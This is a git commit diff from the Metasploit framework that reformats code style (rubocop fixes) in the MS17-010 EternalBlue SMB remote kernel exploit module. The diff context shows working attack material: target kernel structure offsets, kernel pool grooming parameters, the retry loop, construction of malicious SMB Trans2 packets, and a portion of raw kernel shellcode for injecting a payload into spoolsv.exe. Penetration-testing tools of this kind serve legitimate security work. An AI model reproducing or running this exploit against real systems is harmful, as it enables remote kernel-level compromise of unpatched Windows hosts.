Stop some of the rubocop carnage
bwatters-r7
parent
5ec155fd44
commit
4f2ba46125
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@ -15,7 +15,7 @@ class MetasploitModule < Msf::Exploit::Remote
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption',
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'Description' => %q{
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'Description' => %q(
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This module is a port of the Equation Group ETERNALBLUE exploit, part of
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the FuzzBunch toolkit released by Shadow Brokers.
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@ -35,9 +35,10 @@ class MetasploitModule < Msf::Exploit::Remote
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On some systems, this module may cause system instability and crashes, such as a BSOD or
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a reboot. This may be more likely with some payloads.
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},
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),
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'Author' => [
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'Author' =>
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[
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'Sean Dillon <sean.dillon@risksense.com>', # @zerosum0x0
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'Dylan Davis <dylan.davis@risksense.com>', # @jennamagius
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'Equation Group',
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@ -47,41 +48,41 @@ class MetasploitModule < Msf::Exploit::Remote
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'MSB', 'MS17-010' ],
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[ 'CVE', '2017-0143' ],
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[ 'CVE', '2017-0144' ],
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[ 'CVE', '2017-0145' ],
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[ 'CVE', '2017-0146' ],
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[ 'CVE', '2017-0147' ],
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[ 'CVE', '2017-0148' ],
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[ 'URL', 'https://github.com/RiskSense-Ops/MS17-010' ]
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['MSB', 'MS17-010'],
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['CVE', '2017-0143'],
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['CVE', '2017-0144'],
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['CVE', '2017-0145'],
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['CVE', '2017-0146'],
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['CVE', '2017-0147'],
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['CVE', '2017-0148'],
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['URL', 'https://github.com/RiskSense-Ops/MS17-010']
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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'WfsDelay' => 5,
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'WfsDelay' => 5
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},
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'Privileged' => true,
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'Payload' =>
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{
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'Space' => 2000, # this can be more, needs to be recalculated
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'EncoderType' => Msf::Encoder::Type::Raw,
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'EncoderType' => Msf::Encoder::Type::Raw
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows 7 and Server 2008 R2 (x64) All Service Packs',
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[
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'Windows 7 and Server 2008 R2 (x64) All Service Packs',
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{
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'Platform' => 'win',
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'Arch' => [ ARCH_X64 ],
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'Arch' => [ARCH_X64],
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'os_patterns' => ['Server 2008 R2', 'Windows 7', 'Windows Embedded Standard 7'],
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'ep_thl_b' => 0x308, # EPROCESS.ThreadListHead.Blink offset
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'et_alertable' => 0x4c, # ETHREAD.Alertable offset
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'teb_acp' => 0x2c8, # TEB.ActivationContextPointer offset
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'et_tle' => 0x420 # ETHREAD.ThreadListEntry offset
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}
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],
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]
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Mar 14 2017',
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@ -94,19 +95,21 @@ class MetasploitModule < Msf::Exploit::Remote
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register_options(
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[
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Opt::RPORT(445),
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OptBool.new( 'VERIFY_TARGET', [ true, "Check if remote OS matches exploit Target.", true ] ),
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OptBool.new( 'VERIFY_ARCH', [ true, "Check if remote architecture matches exploit Target.", true ] ),
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OptString.new('SMBUser', [ false, '(Optional) The username to authenticate as', '']),
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OptString.new('SMBPass', [ false, '(Optional) The password for the specified username', '']),
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OptString.new('SMBDomain', [ false, '(Optional) The Windows domain to use for authentication', '.']),
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])
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OptBool.new('VERIFY_TARGET', [true, "Check if remote OS matches exploit Target.", true]),
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OptBool.new('VERIFY_ARCH', [true, "Check if remote architecture matches exploit Target.", true]),
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OptString.new('SMBUser', [false, '(Optional) The username to authenticate as', '']),
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OptString.new('SMBPass', [false, '(Optional) The password for the specified username', '']),
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OptString.new('SMBDomain', [false, '(Optional) The Windows domain to use for authentication', '.'])
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]
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)
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register_advanced_options(
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[
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OptString.new('ProcessName', [ true, 'Process to inject payload into.', 'spoolsv.exe' ]),
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OptInt.new( 'MaxExploitAttempts', [ true, "The number of times to retry the exploit.", 3 ] ),
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OptInt.new( 'GroomAllocations', [ true, "Initial number of times to groom the kernel pool.", 12 ] ),
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OptInt.new( 'GroomDelta', [ true, "The amount to increase the groom count by per try.", 5 ] ),
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])
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OptString.new('ProcessName', [true, 'Process to inject payload into.', 'spoolsv.exe']),
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OptInt.new('MaxExploitAttempts', [true, "The number of times to retry the exploit.", 3]),
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OptInt.new('GroomAllocations', [true, "Initial number of times to groom the kernel pool.", 12]),
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OptInt.new('GroomDelta', [true, "The amount to increase the groom count by per try.", 5])
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]
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)
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end
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@ -118,9 +121,7 @@ class MetasploitModule < Msf::Exploit::Remote
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def exploit
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begin
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for i in 1..datastore['MaxExploitAttempts']
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grooms = datastore['GroomAllocations'] + datastore['GroomDelta'] * (i - 1)
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smb_eternalblue(datastore['ProcessName'], grooms)
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# we don't need this sleep, and need to find a way to remove it
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@ -462,7 +463,7 @@ class MetasploitModule < Msf::Exploit::Remote
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timeout_value = "\x35\x00\xd0" + timeout.chr
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packet = RubySMB::SMB1::Packet::Trans2::Request.new
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packet = set_smb1_headers(packet,tree_id,user_id)
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packet = set_smb1_headers(packet, tree_id, user_id)
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# The packets are labeled as Secondary Requests but are actually structured
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# as normal Trans2 Requests for some reason. We shall similarly cheat here.
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@ -539,7 +540,7 @@ class MetasploitModule < Msf::Exploit::Remote
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# our values here.
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packet.data_block.enable_padding = false
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packet = set_smb1_headers(packet,tree_id,user_id)
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packet = set_smb1_headers(packet, tree_id, user_id)
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packet.parameter_block.max_setup_count = 1
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packet.parameter_block.total_parameter_count = 30
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@ -555,7 +556,7 @@ class MetasploitModule < Msf::Exploit::Remote
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packet.parameter_block.setup << 0x0000
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packet.data_block.byte_count = 1004
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packet.data_block.trans2_parameters = "\x00" * 31 + "\x01" + ( "\x00" * 973 )
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packet.data_block.trans2_parameters = "\x00" * 31 + "\x01" + ("\x00" * 973)
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packet
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end
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@ -602,15 +603,14 @@ class MetasploitModule < Msf::Exploit::Remote
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end
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def ror(dword, bits)
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( dword >> bits | dword << ( 32 - bits ) ) & 0xFFFFFFFF
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(dword >> bits | dword << (32 - bits)) & 0xFFFFFFFF
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end
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def make_kernel_shellcode(proc_name)
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# see: external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm
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# Length: 1019 bytes
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#"\xcc"+
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# "\xcc"+
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"\x31\xC9\x41\xE2\x01\xC3\xB9\x82\x00\x00\xC0\x0F\x32\x48\xBB\xF8" +
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"\x0F\xD0\xFF\xFF\xFF\xFF\xFF\x89\x53\x04\x89\x03\x48\x8D\x05\x0A" +
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"\x00\x00\x00\x48\x89\xC2\x48\xC1\xEA\x20\x0F\x30\xC3\x0F\x01\xF8" +
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@ -675,14 +675,13 @@ class MetasploitModule < Msf::Exploit::Remote
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"\xFF\x31\xC9\x51\x51\x51\x51\x41\x59\x4C\x8D\x05\x1A\x00\x00\x00" +
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"\x5A\x48\x83\xEC\x20\x41\xBB\x46\x45\x1B\x22\xE8\x68\xFF\xFF\xFF" +
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"\x48\x89\xEC\x5D\x41\x5F\x5E\xC3"#\x01\x00\xC3"
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end
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# Sets common SMB1 Header values used by the various
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# packets in the exploit.
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#
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# @return [RubySMB::GenericPacket] the modified version of the packet
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def set_smb1_headers(packet,tree_id,user_id)
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def set_smb1_headers(packet, tree_id, user_id)
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packet.smb_header.flags2.read("\x07\xc0")
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packet.smb_header.tid = tree_id
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packet.smb_header.uid = user_id
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@ -691,7 +690,6 @@ class MetasploitModule < Msf::Exploit::Remote
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packet
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end
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# Returns the value to be passed to SMB clients for
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# the password. If the user has not supplied a password
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# it returns an empty string to trigger an anonymous
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